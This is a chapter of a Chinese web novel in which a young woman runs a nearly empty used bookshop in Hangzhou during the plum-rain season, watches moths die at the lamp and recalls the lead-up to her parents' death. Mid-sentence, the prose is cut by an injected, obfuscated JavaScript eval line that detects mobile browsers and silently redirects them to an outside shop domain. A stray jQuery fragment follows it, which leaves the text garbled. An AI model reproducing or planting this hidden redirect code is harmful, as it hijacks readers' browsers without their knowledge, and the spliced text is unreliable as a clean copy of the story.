但是此后一个星期，凌玲也没有来过。除了零星几个客人，加上之前见过的那个高中生偶尔出现，饮山绿并没有什么生意。
本来人就少，自从程霁川把招牌拿去修补以后，书店的外观就变得空落落的，显得更加不起眼，不注意看还以为店倒闭摘牌了。
杭州就在这段时间入梅。沈知蕴打开天气软件，发现此后将近半个多月几乎每天都要下雨。杭州夏天本来就热浪滚滚，更何况知蕴觉得现在的杭州比自己小时候热太多了——这段时间每天暴晒到下午，就劈头一阵大雨淋下来。
就像老天爷花半天时间煮开一壶水，再浇下来，将杭州从头到尾浇个透。
阴云往往是在很短的时间内聚集起来，然后打人一个措手不及。知蕴坐在店里，天天都能看到有些行人没有带伞，狼狈地用衣服或者包包顶在头上遮雨，或者钻入两边商铺的屋檐下，等这阵雨过去。
她有时候不禁幻想，也许也有行人会因此走进饮山绿呢？毕竟，有什么比一个免费看书的地方更能打发下雨的时间？也许有人还会因此买点东西回去，这样她就又能赚钱了。
可惜都是白日梦。她看有人走进对面的面馆、咖啡店、奶茶店、便利店，可是一直都没人因此走进饮山绿。
知蕴每天都在一楼二楼徘徊，整理旧书，包书皮，为红木架子上的书扫除灰尘，像一只幽灵。有状态的时候就在二楼读读文献和资料，看看爸妈以前究竟在研究什么，没有状态的时候，就回回消息和邮件，看点不用动脑的电视剧，昏昏沉沉半梦半醒着，一天就过去了，自己的精神也随着时间流逝一并被抽离和消耗掉。
其实给她发消息的人也很少。
要么是大姑二姑，关心她最近身体怎么样，甩过来物流单号让她注意点快递消息，生鲜一定要及时拿。
要么，是之前在申浦的那些朋友，纪蓁蓁每天都会给她发消息，确认她是不是活着。
要么，就是梁叔叔，梁寅时。他的微信头像很有那代人的风格，是一片申师大的银杏叶，名字叫“一叶知秋”。
梁叔叔最早是浙大的老师，和父母是故交，交情颇深。他很早就去了申师大，后来沈家父母调过去，知蕴自己也一起转去申浦上学，梁叔叔那时已经是申师文学院的领导，旧友重逢，几乎落泪，尤其照顾他们一家。
之前知蕴选硕士方向的时候，梁叔叔还在鼓吹文字学的魅力，让她选文字学。只是她自己后来还是选古代文学，想研究文学地理。
梁叔叔：我看杭州最近入梅了吧？这两天申浦也是下雨，师大都积水了。
云【emoji云】：梁叔您记得每天出门都带伞。这几天杭州天气也确实不好，大蒸笼。
梁叔叔偶尔会给她发消息，问候天气和睡眠。他知道她现在开书店去了，还给她介绍出版社的人脉，说可以低价拿到市场上的新书。
知蕴谢过他，但是从未联系过那些出版社，因为那都是新书。
新的东西大家都喜欢，喜新厌旧算是全人类通有的属性。这么多人售卖新的东西，那她就负责给旧物一个家吧。这个世界上，没有东西制造出来，是活该让人扔到垃圾堆里回收重造的，更何况书本和知识呢。
和梁叔叔闲话说不了两句，话题就大概会回到父母身上。
梁叔叔说，之前父母带的研究生继续把他们的课题接着做下去了，只是换了导师，可能最后呈现出来的样子，也不如你爸爸妈妈最开始想的那样。
梁叔叔：我知道你把你爸爸妈妈的大多资料文献都带走了，其实你是最合适你爸妈课题的。
知蕴打字的手僵在半空。她知道梁叔叔其实说来说去还是想劝她回去读个博士，就算她不想回申大，申师大的博导也愿意收她，毕竟是她爸妈的同事，她想读什么方向都行。梁叔叔就是想让她待在他跟前，不放心她一个人待在杭州，自己缩在在一个小店面里，什么时候死了也没人知道。
她不会死的，她真的不会死的，她只是觉得这辈子就这样了。
她也不想思考父母留下的那些问题，思考太累了，文学让她太累了。
她把手机扣在桌上，看着外面摇动的树影发呆，雨不知道什么时候停了，天暗沉下去，太阳应该已经落山了。
夏季这样的大雨过后，两边绿树的枝桠不断往下滴水，这时候注意不要往树下走，否则会猛地一激灵。整个曙光路的街道上都会有一种湿热的气息，行人会嗅到太阳那浓烈热气的余味混杂着浑浊的泥土气味、柏油沥青的味道，以及那些由汽车尾气微粒、轮胎磨损粉尘、空气油污组成的“城市精华”的味道。
经过雨水的淘洗，那似乎变得刺鼻又清新好闻。
知蕴之前在书上看到过，这科学上有个专门的名字，叫潮土油，英文叫Petrichor，是两个澳大利亚科学家取的，意思是，石头中流淌的液体。
她觉得这个说法很浪漫，好像石头里孕育着一种生命，只有在下雨之后才缓缓流淌。又或者，石头也在为这种生命而存在着，一块石头漫长的一生里，都在等待落雨，从而诞生自己身体里的生命。纵然落雨对它来说是侵蚀和风化，它自己的生命会在这个过程里逐渐走向尽头。
她想到这里，又在墙上写了一句：像一块石头一样，一遍遍等待生命里的雨。
写完后，她盯着那发呆，又把“等待”划掉，写成“遭遇”，莫名觉得很无力。
潮土油，其实也只针对郊外的雨后，城市总是更加冷酷一点。
她靠着墙蹲下，静静注视着门外地上蒸腾起来的水雾，空气变得很潮很潮，一点点侵入她的衣领袖口。
又是一天没有一个客人来。
这样湿漉漉的晚上，没人愿意出门。曙光路安静得不像话，竟然一个人影都没有。没有学生放学的吵闹声，没有大爷大妈散步聊天的声音，甚至连树上的知了也偃旗息鼓，喑哑嗓子暂时放弃了啼鸣。
只有耳朵里的引线在燃烧、爆炸。
呲，呲，呲——
她痛苦地捂住了耳朵，又开始耳鸣了。
她试图再盯着点什么转移注意力。饮山绿店里的活物除了她，就只有几只飞蛾，它们绕着头顶的灯光打转，倒映出巨大的影子，落在她的脑袋上，好像一张庞然黑网，把她罩住了。
她很讨厌这些扑腾飞跃的小虫，因为一旦被咬就容易过敏。奈何把店开在一楼，这是避免不了的。因此很早她就开始点蚊香熏艾草，穿长袖长裤，祈祷这个夏天不要被蚊虫叮咬一个包。
但是蚊香艾草，是驱赶不了飞蛾的。
知蕴惊奇地发现，到现在，自己确实没遇到多少蚊子，但是一直有飞蛾扑进饮山绿，绕着天花板上的吊灯飞舞，并且矢志不渝地向灯光撞去，和死亡同舞。
撞一下，不会觉悟，撞两下，也不会觉悟。
撞三下，飞蛾会把自己彻底撞晕，在空中打着圈圈螺旋式飘荡下降，然后再挣扎着扑向那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788835|210287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盏天花板上的灯。
如果再撞一次，可能飞蛾就会彻底死掉了。
飞蛾扑火。
像现在一样，知蕴会默默去拿起角落里的扫把簸箕，处理掉飞蛾的尸体，把它们扔回潮湿的雨夜。然后坐回位置上，再盯着天花板发呆。
理论上，她应该为飞蛾写几句诗，记录这样视死如归的、悲壮的死士般的行动。但是写了就不免想自己的样子，其实她这辈子跟那些飞蛾一样，也就这样了，一眼望得到头。
她无非是，还在延长被扫掉扔回雨夜之前的时刻。
知蕴觉得身上有点冷，好像雨后的潮气真的侵入了她的身体。
父母死去，也是在这样一个雨天。不过是在申浦，冷冷的冬雨里。那场雨实在下的太久了，到现在都没停。
知蕴剧烈地咳嗽起来，有些记忆不适时又变清晰。
那天是申大文学地理学的国际学科论坛，她在汇报自己硕士论文的一部分。
申大中文系的传统是研二下论文开题，大多数同学这个时候要平衡论文和实习，所以会过得很痛苦。
但是她早就计划好继续跟着导师读博了，得到这个学位也是父母对她的期望。为了做好硕论，她不分昼夜地待在资料室里译古籍，读文献，准备一手资料，反复打磨。很多她采用在硕士论文里的材料，都是她自己就着手稿翻译出来的，实实在在是全中国第一个。
她天生就适合这种繁琐的、重复的、别人嫌麻烦的工作，就像处理店里的旧书一样。梁叔叔曾经说她很好地继承了父母的学术能力和学术思维，甚至青出于蓝胜于蓝，总之她爸妈在本科的时候，是没有能力自己发表独立一作的。
这也是导师对她特别满意的原因。去学术会议，别的学生可以不带，但是他一定要带沈知蕴。导师姓杨，是申大古代文学德高望重的一位老教授，硕士招的很少，独独对她青眼有加。她当初保研的时候，是杨导主动要她来自己名下，说自己带的几个博士也不一定有她用功有她天分好。
后来杨导知道她父母都在隔壁申师大文学院，一位是历史教授研究南宋史，一位是文学教授，研究唐宋文学，恍然大悟，说她是家学渊源深厚。
别的同学还在纠结初稿的时候，她已经不知道改了几稿。杨导对她的硕士论文很满意，又让她把其中一章按别的方向再写一篇小论文出来，争取能参加申大要在24年冬天举办的学科国际会议，她可以在会议上独立汇报，到时候到场的都是相关领域的国际一线学者。
后来知蕴看会议议程，独立汇报的人里，只有她一个硕士在读，其他人无不已经是title满身的学者，至少是大导带的博士。她对自己的研究和能力一向很有信心，但看到名单的时候，仍然忍不住心里发怵。
“像你这样的学生，以后还会面对很多很多次这样的场合。你就把它当做迈向学术界的第一步，锻炼锻炼。”
杨导拍拍她的肩，告诉她别紧张，不管讲成什么样，只要把那当做一次经历就好。
知蕴嘴上答应着，心里想的是，千万不能给杨导和杨门丢脸。因此神经紧绷，天天修改小论文到深夜，在一遍遍的校对和修改里崩溃得想哭。
在崩溃的深夜里，她收到妈妈的电话：
“宝贝不要哭呀，放轻松一点，你是最棒的。到时候爸爸妈妈去看你好不好？以前你小学的时候演讲比赛也是这样，但是只要爸爸妈妈在观众席看着你，你就不紧张了。”